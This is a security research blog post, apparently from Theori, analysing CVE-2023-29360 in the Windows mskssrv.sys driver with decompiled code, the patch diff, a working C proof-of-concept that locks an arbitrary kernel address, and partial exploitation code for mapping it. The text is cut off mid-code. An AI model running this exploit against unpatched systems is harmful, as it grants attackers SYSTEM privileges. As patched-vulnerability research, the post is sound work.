Chaining N-days to Compromise All: Part 3 — Windows Driver LPE: Medium to System

Theori Vulnerability Research
Theori BLOG
Published in
16 min readApr 9, 2024

--

This blog post is the third series about the vulnerabilities used in our 1-day full chain exploit we demonstrated on X. In this blog post, we will present how we elevate the privilege from user to SYSTEM to chain the vulnerability of VMWare. The vulnerability is CVE-2023–29360, a beautiful and powerful logic bug in mskssrv.sys driver.

This vulnerability was used by @Synacktiv in Pwn2Own 2023 Vancouver. This vulnerability has been patched in June, and Fermium-252, our threat intelligence service, has both a PoC and an exploit of this vulnerability since July 2023.

Memory Descriptor List (MDL)

Memory Descriptor List (MDL) is the most important concept of this vulnerability. In MSDN, it says about MDL as follows.

An I/O buffer that spans a range of contiguous virtual memory addresses 
can be spread over several physical pages, and these pages can be discontiguous.
The operating system uses a memory descriptor list (MDL) to describe
the physical page layout for a virtual memory buffer.

As explaining above, MDL is used to describe the mapping of virtual address and physical address, and it is expressed as _MDL structure.

0: kd> dt _MDL
nt!_MDL
+0x000 Next : Ptr64 _MDL
+0x008 Size : Int2B
+0x00a MdlFlags : Int2B
+0x00c AllocationProcessorNumber : Uint2B
+0x00e Reserved : Uint2B
+0x010 Process : Ptr64 _EPROCESS
+0x018 MappedSystemVa : Ptr64 Void
+0x020 StartVa : Ptr64 Void
+0x028 ByteCount : Uint4B
+0x02c ByteOffset : Uint4B

StartVa is the virtual address, ByteOffset is the offset to start, and MappedSystemVa is the mapped virtual address which MDL describes. MappedSystemVa is only valid after locking and mapping through MmProbeAndLockPages and MmMapLockedPagesSpecifyCache, respectively. In addition, the physical page address is located at the end of _MDL structure.

Generally, the MDL is used like below code.

PMDL pMDL = NULL;
pMDL = IoAllocateMdl(Address, Size, FALSE, FALSE, NULL);
__try
{
MmProbeAndLockPages(pMDL, AccessMode, IoReadAccess);
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
IoFreeMdl(pMDL);
return;
}

PVOID MappingData = MmMapLockedPagesSpecifyCache(pMDL, AccessMode, MmNonCached, NULL, FALSE, NormalPagePriority);

To see the real memory data for the _MDL structure, let's check the data on WinDbg.

0: kd> dt _MDL ffffe78fc266bb30
nt!_MDL
+0x000 Next : (null)
+0x008 Size : 0n64
+0x00a MdlFlags : 0n139
+0x00c AllocationProcessorNumber : 1
+0x00e Reserved : 0
+0x010 Process : (null)
+0x018 MappedSystemVa : 0xffff8001`b72b1008 Void // Mapped Address
+0x020 StartVa : 0xffffc082`b38e3000 Void // Virtual Address
+0x028 ByteCount : 0x1008
+0x02c ByteOffset : 8 // Offset

0: kd> dq ffffe78fc266bb30 L8
ffffe78f`c266bb30 00000000`00000000 00000001`008b0040
ffffe78f`c266bb40 00000000`00000000 ffff8001`b72b1008
ffffe78f`c266bb50 ffffc082`b38e3000 00000008`00001008
ffffe78f`c266bb60 00000000`00229647 00000000`00220448
^^^^^^^^^^^^^^^^^
Physical Page Address

0: kd> db 0xffffc082`b38e3000 + 8
ffffc082`b38e3008 00 5d 89 4a 00 00 00 00-60 00 00 00 02 00 00 00 .].J....`.......
ffffc082`b38e3018 90 0e 01 00 00 00 05 00-d4 0e 01 00 00 00 04 00 ................
ffffc082`b38e3028 a0 5c 89 4a 00 00 00 00-5e 5f 50 0e a2 84 da 01 .\.J....^_P.....
ffffc082`b38e3038 00 01 00 80 00 00 00 00-00 00 00 00 26 00 00 00 ............&...
ffffc082`b38e3048 22 00 3c 00 73 00 65 00-74 00 74 00 69 00 6e 00 ".<.s.e.t.t.i.n.
ffffc082`b38e3058 67 00 73 00 2e 00 64 00-61 00 74 00 2e 00 4c 00 g.s...d.a.t...L.
ffffc082`b38e3068 4f 00 47 00 32 00 00 00-30 00 2d 00 31 00 38 00 O.G.2...0.-.1.8.
ffffc082`b38e3078 37 00 32 00 31 00 34 00-35 00 36 00 31 00 31 00 7.2.1.4.5.6.1.1.

0: kd> !db 00229647*1000 + 8
#229647008 00 5d 89 4a 00 00 00 00-60 00 00 00 02 00 00 00 .].J....`.......
#229647018 90 0e 01 00 00 00 05 00-d4 0e 01 00 00 00 04 00 ................
#229647028 a0 5c 89 4a 00 00 00 00-5e 5f 50 0e a2 84 da 01 .\.J....^_P.....
#229647038 00 01 00 80 00 00 00 00-00 00 00 00 26 00 00 00 ............&...
#229647048 22 00 3c 00 73 00 65 00-74 00 74 00 69 00 6e 00 ".<.s.e.t.t.i.n.
#229647058 67 00 73 00 2e 00 64 00-61 00 74 00 2e 00 4c 00 g.s...d.a.t...L.
#229647068 4f 00 47 00 32 00 00 00-30 00 2d 00 31 00 38 00 O.G.2...0.-.1.8.
#229647078 37 00 32 00 31 00 34 00-35 00 36 00 31 00 31 00 7.2.1.4.5.6.1.1.

0: kd> db 0xffff8001`b72b1008
ffff8001`b72b1008 00 5d 89 4a 00 00 00 00-60 00 00 00 02 00 00 00 .].J....`.......
ffff8001`b72b1018 90 0e 01 00 00 00 05 00-d4 0e 01 00 00 00 04 00 ................
ffff8001`b72b1028 a0 5c 89 4a 00 00 00 00-5e 5f 50 0e a2 84 da 01 .\.J....^_P.....
ffff8001`b72b1038 00 01 00 80 00 00 00 00-00 00 00 00 26 00 00 00 ............&...
ffff8001`b72b1048 22 00 3c 00 73 00 65 00-74 00 74 00 69 00 6e 00 ".<.s.e.t.t.i.n.
ffff8001`b72b1058 67 00 73 00 2e 00 64 00-61 00 74 00 2e 00 4c 00 g.s...d.a.t...L.
ffff8001`b72b1068 4f 00 47 00 32 00 00 00-30 00 2d 00 31 00 38 00 O.G.2...0.-.1.8.
ffff8001`b72b1078 37 00 32 00 31 00 34 00-35 00 36 00 31 00 31 00 7.2.1.4.5.6.1.1.

As shown in the above, the data pointed by the virtual address and physical address is the same, which means MDL maps the physical address and virtual address.

CVE-2023–29360

This vulnerability exists in the mskssrv.sys driver. This driver is used for processing the streaming data, such as camera device, in kernel mode.

To find the device path for communicating to this driver, we checked FrameServer, the service handles the streaming data. In the service dll, FrameService.dll, we can find the code that gets the device handle of mskssrv.sys driver.

__int64 __fastcall MSKSSrv_GetHandle(_QWORD *phandle){
...
result = CM_Get_Device_Interface_ListW(&GUID_3c0d501a_140b_11d1_b40f_00a0c9223196, 0i64, buffer, bufferlen, 0);
if ( !result && *buffer){
handle = CreateFileW(buffer, 0xC0000000, 0, 0i64, 3u, 0x80u, 0i64);
if ( handle != (HANDLE)-1i64 )
{
*phandle = handle;
result = 0i64;
}
...
}

From this code, we can see the device path is \\?\ROOT#SYSTEM#0000#{3c0d501a-140b-11d1-b40f-00a0c9223196}\{96E080C7-143C-11D1-B40F-00A0C9223196}&{3C0D501A-140B-11D1-B40F-00A0C9223196}

Calling DeviceIoControl API on this driver will trigger the mskssrv!SrvDispatchIoControl function.

__int64 __fastcall SrvDispatchIoControl(__int64 deviceObj, IRP *irp)
{
ioctlcode = irp->Tail.Overlay.CurrentStackLocation->Parameters.DeviceIoControl.IoControlCode;
switch(ioctlcode){
case 0x2F0408:
RendezvousServerObj = NULL
KeWaitForSingleObject(&Mutex, Executive, 0, 0, 0i64);
result = FSGetRendezvousServer(&RendezvousServerObj);
if ( result >= 0 )
{
result = FSRendezvousServer::PublishTx(RendezvousServerObj, irp); // PublishTx
FSRendezvousServer::Release(RendezvousServerObj);
}
...
case 0x2F0410:
RendezvousServerObj = NULL
KeWaitForSingleObject(&Mutex, Executive, 0, 0, 0i64);
result = FSGetRendezvousServer(&RendezvousServerObj);
if ( result >= 0 )
{
result = FSRendezvousServer::ConsumeTx(RendezvousServerObj, irp); // ConsumeTx
FSRendezvousServer::Release(RendezvousServerObj);
}
...

SrvDispatchIoControl calls appropriate function according to IoControlCode of DeviceIoControl. When IoControlCode is 0x2F0408, FSRendezvousServer::PublishTx is called, and FSRendezvousServer::PublishTx calls FSStreamReg::PublishTx again.

__int64 __fastcall FSStreamReg::PublishTx(FSStreamReg *FsStreamRegObj, __int64 data)
{
// [1]. Validate Input Buffer
result = FSStreamReg::CheckRecycle(FsStreamRegObj, data);
if ( result < 0 )
return result;
// [2]. Repeat until `data+0x24`
for ( idx = 0; idx < *(data + 0x24); ++idx )
{
offset = 0x88i64 * idx;
if ( *(offset + data + 0x70) )
{
// Allocate memory
buffer = operator new(0xD8ui64, unknown, 0x736C644Du);
if ( buffer )
{
*(buffer + 16) = 0;
*(buffer + 208) = 0;
memset((buffer + 24), 0, 0xB8ui64);
}
else
{
return 0xC000009A;
}
// [3]. Allocate MDL by using user supplied data
result = FSFrameMdl::AllocateMdl(buffer, offset + data + 0x28);
if ( result < 0 )
{
// ERROR
}
// [4]. insert the MDL to FSFrameMdlList in FsStreamRegObject
FSFrameMdlList::InsertTail((FsStreamRegObj + 0xC8), buffer);
...
}
}
...
}

After validating the user supplied value ([1]), FSStreamReg::PublishTx processes the user data by looping as many times as Count at data+0x24([2]). The MDL is allocated via FSFrameMdl::AllocateMdl with user-supplied data([3]), and the MDL information is inserted to the published list in FsStreamRegObject([4]).

Among these, let’s take a closer look at the code of the FSFrameMdl::AllocateMdl function.

__int64 __fastcall FSFrameMdl::AllocateMdl(FSFrameMdl *FsFrameMdlobj, __int64 user_data)
{
// [5]. Copy User Data
HandleInformation = 0i64;
Object = 0i64;
memcpy(FsFrameMdlobj + 0x18, user_data, 0x88);
mapflag = *(user_data + 0x48);
if ( !mapflag )
{
// Omitted
}
switch(mapflag){
case 4:
case 8:
// [*] Create MDL by using user supplied data
result = FsAllocAndLockMdl(*(user_data + 0x20), *(user_data + 0x34), FsFrameMdlobj + 0xA0);
if(result < 0){ /* ERROR */ }
case 1:
// [*] Create MDL by using user supplied data
result = FsAllocAndLockMdl(*(user_data + 0x38), *(user_data + 0x44), FsFrameMdlobj + 0xB0);
if(result < 0){ /* ERROR */ }
...
}
...
}

FSFrameMdl::AllocateMdl copies user data into the kernel buffer (FsFrameMdlobj) at [5], and calls FsAllocAndLockMdl with user-controllable arguments.

__int64 __fastcall FsAllocAndLockMdl(void *address, ULONG size, _MDL **mdl_object)
{
if ( !address || !size || !mdl_object )
return 0xC000000D;
// [6]. Allocate MDL
Alloc_Mdl = IoAllocateMdl(address, size, 0, 0, 0i64);
if ( !Alloc_Mdl )
return 0xC000009A;
// [7]. Probe and Lock MDL with "KernelMode (0)"
MmProbeAndLockPages(Alloc_Mdl, 0, IoWriteAccess);
*mdl_object = Alloc_Mdl;
return 0;
}

FsAllocAndLockMdl allocates the MDL via IoAllocateMdl ([6]), and locks the MDL area via MmProbeAndLockPages with IoWriteAccess permission ([7]). However, when calling MmProbeAndLockPages, the second argument, AccessMode, is set to KernelMode(0). If the AccessMode is KernelMode(0), the validation for the address is skipped.

// MmProbeAndLockPages -> MiProbeAndLockPages-> MiProbeAndLockPrepare
__int64 __fastcall MiProbeAndLockPrepare(__int64 buffer, PMDL MemoryDescriptorList, unsigned __int64 address, unsigned int size, char AccessMode, int is_read, int flag)
{
v8 = is_read;
v10 = address + size;
*(_QWORD *)(buffer + 72) = KeGetCurrentThread();
v56 = 0;
*(_QWORD *)(buffer + 56) = MemoryDescriptorList;
*(_DWORD *)(buffer + 88) = is_read;
*(_QWORD *)buffer = address; // Base Address
*(_QWORD *)(buffer + 8) = address + size; // Start Address

// Check Address with the AccessMode==UserMode(1)
if ( AccessMode ){
if ( address + size > 0x7FFFFFFF0000i64 || address >= address + size )
{
++dword_140C4E5F8;
return 0xC0000005;
}
}
...
}

As shown in above code, the address will only be validated if the AccessMode is UserMode(1). That is, we can lock MDL with an arbitrary address including the kernel address space from a user application.

The Patch of CVE-2023–29360

Compared module and versions : ntoskrnl.exe(x64), 10.0.19041.2913, 10.0.19041.3086

__int64 __fastcall FsAllocAndLockMdl(void *address, ULONG size, _MDL **mdl_object)
{
if ( !address || !size || !mdl_object )
return 0xC000000D;
Alloc_Mdl = IoAllocateMdl(address, size, 0, 0, 0i64);
if ( !Alloc_Mdl )
return 0xC000009A;

- MmProbeAndLockPages(Alloc_Mdl, 0, IoWriteAccess);
+ MmProbeAndLockPages(Alloc_Mdl, 1, IoWriteAccess); // Change the AccessMode to UserMode
*mdl_object = Alloc_Mdl;
return 0;
}

The patch is very simple. When locking the page, the second argument, AccessMode, is changed to UserMode(1). If the AccessMode is UserMode, MmProbeAndLockPages will check the address is placed in the user memory space (The address should be less than 0x7FFFFFFF0000).

Reaching Vulnerable Code

To trigger this vulnerability, we need to satisfy the condition to reach the vulnerable code.

__int64 __fastcall SrvDispatchIoControl(__int64 deviceObj, IRP *irp)
{
ioctlcode = irp->Tail.Overlay.CurrentStackLocation->Parameters.DeviceIoControl.IoControlCode;
switch(ioctlcode){
case 0x2F0408:
RendezvousServerObj = NULL
KeWaitForSingleObject(&Mutex, Executive, 0, 0, 0i64);
result = FSGetRendezvousServer(&RendezvousServerObj); // [*] should be succeeded
if ( result >= 0 )
{
result = FSRendezvousServer::PublishTx(RendezvousServerObj, irp); // PublishTx
FSRendezvousServer::Release(RendezvousServerObj);
}

First, FSGetRendezvousServer should successfully retrieve the RendezvousServerObj without errors ([*]).

__int64 __fastcall FSGetRendezvousServer(struct FSRendezvousServer **RendezvousServerObjPtr)
{
result = 0;
if ( ServerObj_1C0005048 )
{
// Store ServerObj_1C0005048 to RendezvousServerObjPtr
*RendezvousServerObjPtr = ServerObj_1C0005048;
_InterlockedIncrement(ServerObj_1C0005048);
}
else
{
result = 0xC0000010;
}
KeReleaseMutex(&Mutex, 0);
return v2;
}

As shown in above code, FSRendezvousServer object is from a global variable, ServerObj_1C0005048. ServerObj_1C0005048 is set up in FSInitializeContextRendezvous, and it is called when IoControlCode is 0x2F0400.

__int64 __fastcall FSInitializeContextRendezvous(struct _IRP *a1)
{
...
RendezvousServerObj = operator new(0xA0ui64, v3, 0x73767A52u);
if(RendezvousServerObj){
// Initializing RendezvousServerObj
}
ServerObj_1C0005048 = RendezvousServerObj;
...
}

Next, let’s look at the conditions that should be met to trigger the target function FsAllocAndLockMdl in the entry function, FSRendezvousServer::PublishTx.

__int64 __fastcall FSRendezvousServer::PublishTx(FSRendezvousServer *this, struct _IRP *irp)
{
...
// Validate input buffer
data = (__int64)irp->AssociatedIrp.MasterIrp;
if ( !data )
return 0xC000000D;
inputbufferlen = v2->Parameters.DeviceIoControl.InputBufferLength;
if ( (unsigned int)inputbufferlen < 0xB0 )
return 0xC000000D;
cnt = *(_DWORD *)(data + 0x20);
if ( cnt - 1 > 0x12B || *(_DWORD *)(data + 0x24) > cnt || inputbufferlen < 0x88 * (unsigned __int64)(cnt - 1) + 0xB0 )
return 0xC000000D;
FSRendezvousServer::Lock(this);

FsContext2 = (const struct FSRegObject *)obj->FileObject->FsContext2;
// [*] Find the "FsContext2" is in the FSRendezvousServer object
isfindobj = FSRendezvousServer::FindObject(this, FsContext2);
KeReleaseMutex((PRKMUTEX)((char *)this + 8), 0);
if ( isfindobj )
{
(*(void (__fastcall **)(const struct FSRegObject *))(*(_QWORD *)FsContext2 + 0x38i64))(FsContext2);// Lock FsStreamReg
// [8]. Call FSStreamReg::PublishTx
result = FSStreamReg::PublishTx(FsContext2, data);

First, FSRendezvousServer::PublishTx validates the user-supplied data. These conditions are easy to satisfy because the data is fully controllable. And then, it calls FSRendezvousServer::FindObject to check the obj->FileObject->FsContext2 is in FSRendezvousServer. Only when FSRendezvousServer::FindObject finds the FsContext2 in FSRendezvousServer, FSStreamReg::PublishTx is called ([8]).

We can infer that FsContext2 is the type of FSStreamReg object from the fact that FsContext2 is used as the this value of FSStreamReg::PublishTx ([8]).

Therefore, we need to find the function creates FSStreamReg object and saves the object address to obj->FileObject->FsContext2. That function is FSRendezvousServer::InitializeStream, which is as follows.

__int64 __fastcall FSRendezvousServer::InitializeStream(FSRendezvousServer *this, struct _IRP *irp)
{
obj = irp->Tail.Overlay.CurrentStackLocation;
if ( obj->Parameters.DeviceIoControl.IoControlCode != 0x2F0404 || obj->FileObject->FsContext2 )
{
result = 0xC0000010;
}
else
{

data = (__int64)irp->AssociatedIrp.MasterIrp;
/**
Validate User Data
**/

// Allocate Buffer
buffer = (FSStreamReg *)operator new(0x1D8ui64, (enum _POOL_TYPE)irp, 0x67657253u);
if ( buffer )
FSStreamReg_obj = (volatile signed __int32 *)FSStreamReg::FSStreamReg(buffer); // Setup FSStreamReg
if ( !FSStreamReg_obj )
return 0xC000009A;

// Initialize FSStreamReg
if ( (unsigned int)Feature_Servicing_TeamsUsingMediaFoundationCrashes__private_IsEnabled() )
result = FSStreamReg::Initialize((FSStreamReg *)FSStreamRegObj, irp, v11, data, irp->RequestorMode);
else
result = FSStreamReg::Initialize((FSStreamReg *)FSStreamRegObj, v10, data, irp->RequestorMode);

...
// [*] Save FSStreamReg_obj to FsContext2
obj->FileObject->FsContext2 = (PVOID)FSStreamReg_obj;
_InterlockedIncrement(FSStreamReg_obj + 6);
...

FSRendezvousServer::InitializeStream can be called when IoControlCode is 0x2F0404.

In sum up, the final PoC code would be like this.

#include <windows.h>
#include <winternl.h>
#include <cfgmgr32.h>
#include <stdio.h>

#pragma comment(lib, "Cfgmgr32.lib")

#define inputsize 0x100
#define outputsize 0x100

int main() {

WCHAR DeviceLink[256] = L"\\\\?\\ROOT#SYSTEM#0000#{3c0d501a-140b-11d1-b40f-00a0c9223196}\\{96E080C7-143C-11D1-B40F-00A0C9223196}&{3C0D501A-140B-11D1-B40F-00A0C9223196}";
HANDLE hDevice = NULL;
NTSTATUS ntstatus = 0;
hDevice = CreateFile(
DeviceLink,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
0x80,
NULL
);

PCHAR inputBuffer = (PCHAR)malloc(inputsize);
PCHAR outputBuffer = (PCHAR)malloc(outputsize);
memset(inputBuffer, 0, inputsize);
memset(outputBuffer, 0, outputsize);

printf("[+] Initialize Rendezvous\n");
memset(inputBuffer, 0, inputsize);
*(DWORD*)(inputBuffer + 0x00) = 0xffffffff; // &1 == Non ZERO
*(DWORD64*)(inputBuffer + 0x08) = 0; // NON ZERO
*(DWORD64*)(inputBuffer + 0x10) = 0; // NON ZERO
*(DWORD64*)(inputBuffer + 0x18) = 0; // 0
ntstatus = DeviceIoControl(hDevice, 0x2F0400, inputBuffer, inputsize, outputBuffer, outputsize, NULL, NULL); // FSInitializeContextRendezvous

printf("[+] Initialize Stream\n");
memset(inputBuffer, 0, inputsize);
*(DWORD*)(inputBuffer + 0x00) = 0xffffffff; // &1 == Non ZERO
*(DWORD64*)(inputBuffer + 0x08) = GetCurrentProcessId(); // NON ZERO
*(DWORD64*)(inputBuffer + 0x10) = 0x4343434344444444; // NON ZERO
*(DWORD*)(inputBuffer + 0x1C) = 4; // -4 <= 0x74
*(DWORD*)(inputBuffer + 0x20) = 0x4000; // -0x4000 <= 0x7C000
*(HANDLE*)(inputBuffer + 0x28) = CreateEvent(NULL, FALSE, FALSE, NULL); // EVENT HANDLE
ntstatus = DeviceIoControl(hDevice, 0x2F0404, inputBuffer, inputsize, outputBuffer, outputsize, NULL, NULL); // Initalize Stream

ULONG_PTR targetaddr = 0xffffffff00031337;
printf("[+] Trigger Vulnerability, Publish Tx ==> MDL with Arbitrary Addr: %p\n", targetaddr);
memset(inputBuffer, 0, inputsize);
*(DWORD*)(inputBuffer + 0x20) = 1; // maxCnt
*(DWORD*)(inputBuffer + 0x24) = 1; // CNT <= maxCnt
*(DWORD*)(inputBuffer + 0x28) = 1; // CNT <= maxCnt
*(DWORD64*)(inputBuffer + 0x28 + 0x20) = (DWORD64)targetaddr; // Addr1
*(DWORD*)(inputBuffer + 0x28 + 0x34) = 0x1000; // SIZE1
*(DWORD64*)(inputBuffer + 0x28 + 0x38) = (DWORD64)targetaddr; // Addr2
*(DWORD*)(inputBuffer + 0x28 + 0x44) = 0x1000; // SIZE2
*(DWORD64*)(inputBuffer + 0x70) = 0x8; // flag : (BYTE)(1,4,8)
ntstatus = DeviceIoControl(hDevice, 0x2F0408, inputBuffer, inputsize, outputBuffer, outputsize, NULL, NULL); // PublishTx
}
KDTARGET: Refreshing KD connection

*** Fatal System Error: 0x00000050
(0xFFFFFFFF00031337,0x0000000000000002,0xFFFFBE8223684321,0x0000000000000002)

Break instruction exception - code 80000003 (first chance)

A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.

A fatal system error has occurred.

rax=0000000000000000 rbx=0000000000000003 rcx=0000000000000003
rdx=000000000000008a rsi=0000000000000000 rdi=fffff8001db9a180
rip=fffff8001f805240 rsp=ffffbe8223683898 rbp=ffffbe8223683a00
r8=0000000000000065 r9=0000000000000000 r10=0000000000000000
r11=0000000000000010 r12=0000000000000003 r13=ffffffff00031337
r14=0000000000000000 r15=ffff850b8e13a080
iopl=0 nv up ei ng nz na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040286
nt!DbgBreakPointWithStatus:
fffff800`1f805240 cc int 3

...

0: kd> kb
# RetAddr : Args to Child : Call Site
00 fffff800`1f9162f2 : ffffbe82`23683a00 fffff800`1f77f010 00000000`00000000 00000000`00000000 : nt!DbgBreakPointWithStatus
01 fffff800`1f9158d6 : 00000000`00000003 ffffbe82`23683a00 fffff800`1f813040 00000000`00000050 : nt!KiBugCheckDebugBreak+0x12
02 fffff800`1f7fbda7 : 00000000`00000000 00000000`00000000 ffffffff`00031337 fffff800`1db9a180 : nt!KeBugCheck2+0x946
03 fffff800`1f84ac53 : 00000000`00000050 ffffffff`00031337 00000000`00000002 ffffbe82`23684321 : nt!KeBugCheckEx+0x107
04 fffff800`1f66e7b0 : 00000000`00000000 00000000`00000002 ffffbe82`23684339 00000000`00000000 : nt!MiSystemFault+0x1b2273
05 fffff800`1f716f3c : ffff850b`8e9ef000 fffff800`1f6131b5 ffffffff`ffffffff ffffbe82`00000002 : nt!MmAccessFault+0x400
06 fffff800`1f66c9b7 : 00000000`00000000 ffffaa55`2a9fffe0 ffffbe82`23684450 ffffaa55`2a954aa0 : nt!MiFaultInProbeAddress+0xbc
07 fffff800`1f66bcd3 : 00000000`00000000 00000000`00000000 ffffbe82`236844c9 ffffffff`00031337 : nt!MiLockPageLeafPageTable+0x2b7
08 fffff800`1f66aa59 : 00000000`00000000 ffff850b`8ea172f0 00000000`00000000 00000000`00000000 : nt!MiProbeAndLockPages+0x153
09 fffff800`3e402c98 : ffff850b`8e9ef170 00000000`00000000 00000000`00000200 00000000`00000000 : nt!MmProbeAndLockPages+0x29
0a fffff800`3e40b824 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : MSKSSRV!FsAllocAndLockMdl+0x64
0b fffff800`3e40c63d : 00000000`00000000 00000000`00000000 ffff850b`8e9ef170 00000000`00000000 : MSKSSRV!FSFrameMdl::AllocateMdl+0x140
0c fffff800`3e40a7e9 : 00000000`00000001 ffff850b`8f3ce9e8 ffff850b`8f3ce7b0 ffff850b`8e8a05f0 : MSKSSRV!FSStreamReg::PublishTx+0x9d
0d fffff800`3e409513 : 00000000`00000000 ffffbe82`236846f0 ffff850b`8f3ce7b0 ffff850b`88405900 : MSKSSRV!FSRendezvousServer::PublishTx+0xdd
0e fffff800`27e7dddc : ffff850b`8f3ce7b0 ffff850b`8bb86430 ffff850b`8f3cea30 00000000`00000fff : MSKSSRV!SrvDispatchIoControl+0x143
...

Exploitation

In the PoC, we demonstrate just locking arbitrary address. To exploit this primitive, we need to map the manipulated MDL.

FSFrameMdl::MapPages is the function which maps the MDL. FSFrameMdl::MapPages can be accessible from FSRendezvousServer::ConsumeTx, which is called when IoControlCode is 0x2F0410, and it calls FSStreamReg::ConsumeTx internally.

__int64 __fastcall FSStreamReg::ConsumeTx(__int64 FsStreamReg, __int64 data)
{
if ( !data || !*(_DWORD *)(data + 0x20) )
return (unsigned int)-1073741811;

// [9]. Check the flag in FsStreamReg Object
if ( (unsigned int)Feature_Servicing_TeamsUsingMediaFoundationCrashes__private_IsEnabled()
&& (!*(_DWORD *)(FsStreamReg + 0x28) || !*(_DWORD *)(FsStreamReg + 0x2C)) )
{
return 0xC0000466;
}
*(_DWORD *)(data + 0x24) = 0;
list = (_QWORD *)(FsStreamReg + 0x110);
if ( (_QWORD *)*list != list ) // Check List is Empty
{
while ( 1 )
{
// [10]. Get FsFrameMdl from Published List
FsFrameMdl = FSList::RemoveHead((FSList *)(FsStreamReg + 0x108));
...
// [11]. Map the FsFrameMdl to User Memory
result = FSFrameMdl::MapPages(
FsFrameMdl,
*(struct _EPROCESS **)(FsStreamReg + 0x38),
*(struct _EPROCESS **)(FsStreamReg + 0x40),
(struct FSMemoryStream *)(136 * v10 + data + 0x28));
...
// Add FsFrameMdl to Consumed List
FSFrameMdlList::InsertTail((FSFrameMdlList *)(FsStreamReg + 0x140), (struct FSFrameMdl *)FsFrameMdl);
...
}
}

FSStreamReg::ConsumeTx checks the flag of FsStreamReg object at [9], and take out a FsFrameMdl object, which contains the manipulated MDL by this vulnerability, from the published list ([10]). Then, FSFrameMdl::MapPages is called to mapping the MDL ([11]).

In order to call FSFrameMdl::MapPages, the condition in [9] must be satisfied, which is that FsStreamReg + 0x28 and FsStreamReg + 0x2C are not be NULL. Each of the value is set in FSStreamReg::Initialize and FSStreamReg::Register, respectively.

__int64 __fastcall FSStreamReg::Initialize(__int64 FsStreamReg, struct _IRP *a2, struct FSRegObjectList *a3, __int64 data, char a5)
{
...
result = FSFrameMdlList::InitializeMdlList((FSFrameMdlList *)(FsStreamReg + 320), v9, a5);
if ( result < 0 )
return (unsigned int)result;
currentProc = IoGetCurrentProcess();
result = FSRegObject::SetInitProcess((FSRegObject *)FsStreamReg, currentProc);
if ( result < 0 )
return (unsigned int)result;
...
*(_DWORD *)(FsStreamReg + 440) = *(_DWORD *)(data + 32) << 10;
*(_DWORD *)(FsStreamReg + 448) = *(_DWORD *)(data + 28);
*(_DWORD *)(FsStreamReg + 152) = 1;
*(_QWORD *)(FsStreamReg + 160) = *(_QWORD *)(data + 8);
*(_QWORD *)(FsStreamReg + 168) = *(_QWORD *)(data + 16);
*(_DWORD *)(FsStreamReg + 176) = *(_DWORD *)(data + 24);
*(_DWORD *)(FsStreamReg + 180) = *(_DWORD *)(data + 28);
*(_QWORD *)(FsStreamReg + 192) = 0i64;
// [*] Set FsStreamReg + 0x28 As 1, HERE
*(_DWORD *)(FsStreamReg + 0x28) = 1;
*(_QWORD *)(FsStreamReg + 456) = a2->Tail.Overlay.CurrentStackLocation->FileObject;
return v5;
}
__int64 __fastcall FSStreamReg::Register(__int64 FsStreamReg, struct _IRP *a2, const struct _FSStreamRegInfo *a3, KPROCESSOR_MODE a4)
{
...
result = FSFrameMdlList::InitializeMdlList((FSFrameMdlList *)(FsStreamReg + 200), v9, a4);
if ( result < 0 )
return (unsigned int)result;
currentProc = IoGetCurrentProcess();
result = FSRegObject::SetRegProcess((FSRegObject *)FsStreamReg, currentProc);
if ( result < 0 )
return (unsigned int)result;
*(_DWORD *)(FsStreamReg + 0x98) |= 2u;
*(_QWORD *)(FsStreamReg + 0x1D0) = a2->Tail.Overlay.CurrentStackLocation->FileObject;
// [*] Set FsStreamReg + 0x2C As 1, HERE
*(_DWORD *)(FsStreamReg + 0x2C) = 1;
return v4;
}

FSStreamReg::Initialize is called in FSRendezvousServer::InitializeStream, which should be called when you trigger this vulnerability as explained in the PoC section. FSStreamReg::Register is called in FSRendezvousServer::RegisterStream, which is triggered when IoControlCode is 0x2F0420.

__int64 __fastcall FSRendezvousServer::RegisterStream(FSRendezvousServer *this, struct _IRP *a2)
{
obj = a2->Tail.Overlay.CurrentStackLocation;
// [12]. Check obj->FileObject->FsContext2 is NULL
if ( obj->Parameters.Read.ByteOffset.LowPart != 0x2F0420 || obj->FileObject->FsContext2 )
return 0xC0000010;
data = (__int64)a2->AssociatedIrp.MasterIrp;

/**
Validate the user data
**/

// call FSStreamReg::Register
if ( (unsigned int)Feature_Servicing_TeamsUsingMediaFoundationCrashes__private_IsEnabled() )
v11 = FSStreamReg::Register(FSStreamReg, a2, (const struct _FSStreamRegInfo *)data, a2->RequestorMode);
else
v11 = FSStreamReg::Register(FSStreamReg, (const struct _FSStreamRegInfo *)data, a2->RequestorMode);
}

However, if the obj->FileObject->FsContext2 isn't NULL, this function immediately returns without calling FSStreamReg::Register ([12]). Because obj->FileObject->FsContext2 is already set to FSStreamReg to trigger the vulnerability, this condition will not meet. But, this condition can easily be satisfied using another handle for this device because the obj->FileObject is allocated for each handle.

Finally, we can map the arbitrary address by this vulnerability.

hDeviceClient = CreateFile(
DeviceLink,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
0x80,
NULL
);

PCHAR inputBuffer = (PCHAR)malloc(inputsize);
PCHAR outputBuffer = (PCHAR)malloc(outputsize);

printf("[+] Initialize Rendezvous\n");
memset(inputBuffer, 0, inputsize);
*(DWORD*)(inputBuffer + 0x00) = 0xffffffff; // &1 == Non ZERO
*(DWORD64*)(inputBuffer + 0x08) = 0; // NON ZERO
*(DWORD64*)(inputBuffer + 0x10) = 0; // NON ZERO
*(DWORD64*)(inputBuffer + 0x18) = 0; // 0
ntstatus = DeviceIoControl(hDeviceClient, 0x2F0400, inputBuffer, inputsize, outputBuffer, outputsize, NULL, NULL); // FSInitializeContextRendezvous

printf("[+] Initialize Stream\n");
memset(inputBuffer, 0, inputsize);
*(DWORD*)(inputBuffer + 0x00) = 0xffffffff; // &1 == Non ZERO
*(DWORD64*)(inputBuffer + 0x08) = GetCurrentProcessId(); // NON ZERO
*(DWORD64*)(inputBuffer + 0x10) = 0x4343434344444444; // NON ZERO
*(DWORD*)(inputBuffer + 0x1C) = 4; // -4 <= 0x74
*(DWORD*)(inputBuffer + 0x20) = 0x4000; // -0x4000 <= 0x7C000
*(HANDLE*)(inputBuffer + 0x28) = CreateEvent(NULL, FALSE, FALSE, NULL); // EVENT HANDLE
